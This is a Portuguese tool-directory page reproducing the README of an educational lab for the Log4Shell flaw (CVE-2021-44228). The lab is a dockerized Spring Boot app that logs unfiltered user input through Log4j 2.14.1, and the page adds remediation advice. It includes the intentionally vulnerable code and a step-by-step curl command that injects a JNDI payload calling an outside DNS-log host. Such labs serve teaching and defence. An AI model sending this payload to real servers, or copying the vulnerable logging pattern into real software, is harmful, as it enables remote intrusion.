Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Log4j-Vulnerability — Estudo técnico e implementação de um ambiente de teste para a vulnerabilidade Apache Log4j (CVE-2021-44228). Contém uma Prova de Conceito (PoC) dockerizada e uma proposta de atualização da PSSI. Para um objetivo de trabalho prático. | Kitploit
Ferramentas/GitHubGitHub/loliverte/log4j-vulnerability
Segurança de ContêineresAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubloliverte/log4j-vulnerability

Log4j-Vulnerability

Estudo técnico e implementação de um ambiente de teste para a vulnerabilidade Apache Log4j (CVE-2021-44228). Contém uma Prova de Conceito (PoC) dockerizada e uma proposta de atualização da PSSI. Para um objetivo de trabalho prático.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
6há 8 mesesAinda não revisado

🔓 Demonstração da vulnerabilidade Log4Shell (CVE-2021-44228)

Este projeto é um ambiente de teste controlado que permite reproduzir e compreender a falha crítica Log4Shell (CVE-2021-44228) que afeta a biblioteca Apache Log4j.


📁 Arquitetura do projeto

root@kitploit:~
Secutp1/
├── Dockerfile                           # Construction de l'image Docker
├── pom.xml                              # Dépendances Maven (Log4j 2.14.1 vulnérable)
├── README.md                            # Ce fichier
└── src/
    └── main/
        └── java/
            └── com/
                └── example/
                    └── VulnerableApplication.java   # Application Spring Boot vulnérable

🎯 Objetivo

Demonstrar como um atacante pode explorar a falha CVE-2021-44228 para forçar um servidor a efetuar uma conexão de rede de saída não autorizada, simplesmente enviando uma string maliciosa.


🔍 Análise do código vulnerável

1. Gerenciamento de dependências (pom.xml)

O arquivo pom.xml força o uso do Log4j 2.14.1, uma versão anterior à correção de segurança:

root@kitploit:~
<log4j2.version>2.14.1</log4j2.version>

Essa versão contém a classe JndiLookup ativada por padrão, que é a raiz do problema.

2. Aplicação Java (VulnerableApplication.java)

A aplicação expõe um serviço web REST. A vulnerabilidade está no método index:

root@kitploit:~
@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
    // LA LIGNE VULNÉRABLE :
    logger.info("Requête reçue, input : " + input);
    return "Bonjour ! Votre input a été loggé : " + input;
}

Problema: A aplicação recupera um parâmetro do usuário (input) e o passa diretamente para logger.info() sem nenhuma filtragem. O Log4j então interpreta o conteúdo como um comando potencial.

3. Infraestrutura Docker (Dockerfile)

O Dockerfile utiliza uma construção em duas etapas:

  • Etapa 1: Compilação com Maven (maven:3.8.4-openjdk-11)
  • Etapa 2: Execução com eclipse-temurin:11-jre

💡 O uso do Java 11 é relevante, pois as versões mais recentes restringem por padrão o carregamento de classes remotas.


⚙️ Mecanismo do ataque

A exploração baseia-se na injeção JNDI (Java Naming and Directory Interface):

  1. O Log4j detecta a sintaxe ${jndi:protocolo://url} nos logs
  2. Ele tenta dinamicamente se conectar à URL especificada
  3. Em um cenário real, isso permite baixar e executar uma classe Java maliciosa (RCE)

🧪 Procedimento de exploração passo a passo

Etapa 1: Preparação

Certifique-se de que os seguintes arquivos estejam no mesmo diretório:

  • Dockerfile
  • pom.xml
  • src/main/java/com/example/VulnerableApplication.java

Etapa 2: Construção da imagem Docker

root@kitploit:~
docker build -t vulnerable-app .

Este comando baixa as dependências Maven (Log4j 2.14.1) e cria a imagem.

Etapa 3: Inicialização do contêiner

root@kitploit:~
docker run -p 8080:8080 --name demo-log4j vulnerable-app

A aplicação agora está escutando na porta 8080.

Etapa 4: Preparação do observador (Listener)

  1. Acesse um serviço de logs DNS:

    • dnslog.cn
    • dnslog.org
    • Burp Collaborator
  2. Copie o endereço fornecido (ex.: mon-test.dnslog.cn)

Etapa 5: Injeção do payload

Em um novo terminal, execute o seguinte comando:

root@kitploit:~
curl "http://localhost:8080/?input=\${jndi:ldap://mon-test.dnslog.cn/a}"

📝 Nota: O caractere \ serve para escapar o $ no terminal.

Etapa 6: Verificação

Volte ao site dnslog. Você verá uma requisição DNS aparecer, confirmando que o servidor executou o código injetado.


📊 Resultado esperado


🚨 Conclusão

O servidor realizou uma conexão de saída para uma máquina externa simplesmente ao registrar uma requisição do usuário.

Em um cenário real, essa conexão teria permitido:

  • Baixar uma classe Java maliciosa
  • Executar código arbitrário (RCE - Remote Code Execution)
  • Assumir o controle total do servidor

🛡️ Remediação

Para corrigir esta vulnerabilidade:

  1. Atualizar o Log4j para a versão 2.17.1 ou superior
  2. Desativar os lookups JNDI: -Dlog4j2.formatMsgNoLookups=true
  3. Remover a classe JndiLookup do classpath

📚 Referências

  • CVE-2021-44228 - NVD
  • Apache Log4j Security Vulnerabilities
  • ANSSI - Vulnerabilidade Log4Shell

📜 Licença

Este projeto é fornecido apenas para fins educacionais. Utilize-o de forma responsável e ética.

Baixar ferramenta
EtapaAção
1A aplicação Java recebe a requisição HTTP
2A linha logger.info(...) processa o parâmetro input
3O Log4j detecta a sintaxe ${jndi:...}
4O Log4j executa a resolução LDAP para o servidor remoto
5Uma requisição DNS aparece na interface DNSLog